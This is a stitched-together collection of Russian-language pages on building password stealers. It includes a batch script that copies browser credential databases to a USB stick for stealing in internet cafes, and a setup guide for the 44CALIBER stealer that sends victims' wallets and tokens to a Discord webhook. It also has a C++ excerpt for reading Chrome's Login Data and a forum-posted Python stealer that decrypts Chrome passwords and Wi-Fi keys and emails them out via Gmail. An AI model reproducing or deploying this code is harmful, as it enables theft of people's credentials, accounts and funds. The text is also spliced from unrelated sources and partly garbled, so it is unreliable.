Создаём стиллер паролей для браузеров
От dark IT
Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.
Создаём текстовый документ и пишем туда следующий код:
copy /y wand.dat %~d0\Opera\
copy /y coockies.dat %~d0\Opera\
copy /y coockies.sqlite %~d0\Mozilla
copy /y key3.db %~d0\Mozilla
copy /y signons.sqlite %~d0\Mozilla
copy /y AppData%\Mozilla\Firefox\Profiles*.def-ault %~d0\Mozilla
cd %localappdata%\Google\Chrome\User Data\Default
copy /y “%localappdata%\Google\Chrome\User Data\Default\Login Data” “%~d0/Google”
attrib +h %~d0\Mozilla
Вы же можете его просто скопировать, сохраняем файл как anyname.bat.
В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome.
Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить.
Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.
Теперь нужно создать файл autorun.inf со следующей командой:
Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места.
Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.
Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина.
Для удобства можно воспользоваться программой Password Web Views. Сегодня мы поговорили о том, как создать стиллер паролей для браузеров, обсудили плюсы и минусы такого скрипта.
Бесплатный стиллер с отправкой логов в Discord
Всем привет, это моя первая самописная статья на этом канале.
У меня аж мурашки по коже от этого)
❗ВНИМАНИЕ❗(обновление 11.07.23)
Статья довольно популярна, поэтому хочу сказать, что данный стиллер потерял свою актуальность уже давно, также имеются у многих трудности при установке и настройке. Поэтому, рекомендую изучить Phemedrone Stealer, исходный код которого есть на GitHub. Также, Phemedrone Stealer будет проще в установке и настройке.
Ссылка на GitHub: https://github.com/nullixx/Phemedrone-Stealer
Телеграм-канал разработчиков: https://t.me/freakcodingplace
В этой статье я расскажу вам о таком стиллере, как 44CALIBER.
Стилер (Stiller) — это вредоносное программное обеспечение, предназначенное для кражи сохраненных в системе паролей и отправке их хакеру.
У него имеется поддержка Chrome v80+, Firefox v75+;
Крадёт VPN-аккаунты, крипто-кошельки, аккаунты VimeWorld(Minecraft), Steam-аккаунты, FTP, достает BSSID, токен и сессию Discord и так далее. В общем, возможностей у него достаточно.
Его главная особенность — отправка логов прямо в ваш канал в Discord при помощи интеграции Discord под названием «Discord Webhook API».
Вебхук (Webhook) – один из основных инструментов автоматизации сервера Discord. Он позволяет автоматически оповещать пользователей о любых событиях и обмениваться информацией со сторонними ресурсами. Например, это может быть новое видео на каком-либо канале или информация по поводу сервера, ролей на нем.
Таким образом, при первом же «попадании в цель», наш стиллер отправит вам на канал всю информацию о жертве, которая запустила его.
Для чего это нужно?
Банально, чтобы получить доступ к кошелькам жертвы, получить какую-либо ценную информацию о нём и так далее. Способов применения стиллера огромное множество и как его использовать — решать только вам.
Установка и настройка
Для начала, скачаем сам архив стиллера с официальной страницы на GitHub: https://github.com/razexgod/44CALIBER
Также, установим Visual Studio — она нам пригодится для сборки нашей программы: https://visualstudio.microsoft.com/ru/downloads/
- Первым делом создадим наш канал в Discord(информация на этот счёт есть интернете), по желанию добавим ему название и аватарку(любую).
- Создадим чат, куда будут приходить наши логи и куда мы подключим наш Вебхук.
- Настраиваем вебхуки:
Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками

Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Их задача — вытащить из системы жертвы ценные данные, в первую очередь — пароли. В этой статье я расскажу, как именно они это делают, на примере извлечения паролей из браузеров Chrome и Firefox и покажу примеры кода на C++.
![]()
WARNING
Весь код в статье приводится исключительно в образовательных целях и для восстановления собственных утерянных паролей. Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.
Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом. Как это сделать, я показывал в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».
Что скажет антивирус?
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.
Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data
Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data" bool get_browser_path(char * db_loc, int browser_family, const char * location) < memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) < return 0; >if (browser_family == 0) < lstrcat(db_loc, TEXT(location)); return 1; >>
char browser_db[MAX_PATH]; get_browser_path(browser_db, 0, CHROME_DB_PATH);
Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family , оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).
Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath , передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA , которое означает:
#define CSIDL_LOCAL_APPDATA 0x001c // \Local Settings\Applicaiton Data (non roaming)
Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath . Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:
HRESULT SHGetFolderPath( HWND hwndOwner, int nFolder, HANDLE hToken, DWORD dwFlags, LPTSTR pszPath );
После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH .
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE); if (!status) < // return 0; >
Теперь подключаемся к базе командой sqlite3_open_v2 . Ее прототип:
int sqlite3_open_v2( const char *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ const char *zVfs /* Name of VFS module to use */ );
Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK , в противном случае возвращается код ошибки.
sqlite3 *sql_browser_db = NULL; status = sqlite3_open_v2(TEMP_DB_PATH, &sql_browser_db, SQLITE_OPEN_READONLY, NULL); if(status != SQLITE_OK)
![]()
INFO
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec() .
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Soft Стиллер паролей на python с отправкой на почту
Только с почтой google (для других почт нужно немного изменить код).
Если у кого то появятся вопросы — пишите, всем отвечу!
PenLord
New member
13.02.2020 4 0
Если у кого то появятся вопросы — пишите, всем отвечу!
Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?
GunQuest
Green Team
03.10.2019 50 37
Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?
Открой арихив.
PenLord
New member
13.02.2020 4 0
Открой арихив.
Какой архив?
GunQuest
Green Team
03.10.2019 50 37
Какой архив?
Скинь скрин, что тебе приходит на почту.
PenLord
New member
13.02.2020 4 0
Скинь скрин, что тебе приходит на почту.
Скинь скрин, что тебе приходит на почту.
И так ещё с историей, хотя wifi нормально приходит, и если не отправлять сообщения по почте и открыть txt просто на пк — они читаются нормально.
Вложения
Безымянныssй.png
37,6 КБ · Просмотры: 1 661
Ardddz
Green Team
12.01.2020 21 1
#!/usr/bin/python import smtplib import base64, os, sys, re import sqlite3 import socket import platform import uuid sender = '' reciever = '' password = '' # Dont change this marker = "Morwy" def wifipass(): def get_wlans(): data = os.popen("netsh wlan show profiles").read() wifi = re.compile("All User Profile\s*:.(.*)") return wifi.findall(data) def get_pass(network): try: wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read() pass_regex = re.compile("Key Content\s*:.(.*)") return pass_regex.search(wlan).group(1) except: return " " f = open("wifi.txt","w") for wlan in get_wlans(): f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan)) f.close() wifipass() ################ CHROME ################ ################ CODE ################ ################ HERE ################ def history(): import operator from collections import OrderedDict #import matplotlib.pyplot as plt def parse(url): try: parsed_url_components = url.split('//') sublevel_split = parsed_url_components[1].split('/', 1) domain = sublevel_split[0].replace("www.", "") return domain except IndexError: print ("URL format error!") def analyze(results): b=open("chrome1.txt","w") for site, count in sites_count_sorted.items(): #print site, count b.write(site + "\n") #path to user's history database (Chrome) b.close() data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default" files = os.listdir(data_path) history_db = os.path.join(data_path, 'history') #querying the db c = sqlite3.connect(history_db) cursor = c.cursor() select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;" cursor.execute(select_statement) results = cursor.fetchall() sites_count = <> for url, count in results: url = parse(url) if url in sites_count: sites_count[url] += 1 else: sites_count[url] = 1 sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True)) analyze (sites_count_sorted) ################ CHROME ################ ################ CODE ################ ################ HERE ################ history() def chrome(): import os,sqlite3,win32crypt data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" connection = sqlite3.connect(data) cursor = connection.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') final_data=cursor.fetchall() a=open("chrome.txt","w") a.write("Extracted chrome passwords :\n") for website_data in final_data: password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1] one="Website : "+str(website_data[0]) two="Username : "+str(website_data[1]) three="Password : "+str(password) a.write(one+"\n"+two+"\n"+three) a.write("\n"+"====="*10+"\n") a.close() chrome() ################ EMAIL ################ ################ CODE ################ ################ HERE ################ filename = "wifi.txt" fo = open(filename, "rb") filecontent = fo.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim """ part1 = """From: Victim <> To: Filip <> Subject: Victim wifi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) fo.close() os.remove("wifi.txt") except Exception: print ("Error: unable to send email") ################################################# filename = "chrome1.txt" fo1 = open(filename, "rb") filecontent = fo1.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim - History """ part1 = """From: Victim <> To: Filip <> Subject: Victim chrome history MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) #print "Successfully sent email" fo1.close() os.remove("chrome1.txt") except Exception: print ("Error: unable to send email") ########################################### filename = "chrome.txt" fo = open(filename, "rb") filecontent = fo.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim =========================== Name: %s FQDN: %s System Platform: %s Machine: %s Node: %s Platform: %s Pocessor: %s System OS: %s Release: %s Version: %s """ % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ########### part1 = """From: Victim <> To: Filip <> Subject: Victim saved pass MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) fo.close() os.remove("chrome.txt") except Exception: print ("Error: unable to send email")
Стиллер с отправкой паролей на электронную почту. Очень прост в использовании
Просто скачайте файл InfoStealer — Github edition .py
И измените все 3 параметра на свои: отправитель = ‘Login@gmail.com’
пароль = «ваш пароль»
P.S Это фикс какого-то не рабочего стиллера.
Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите
Мой проект на гитхабе: Morwenns/Stealer
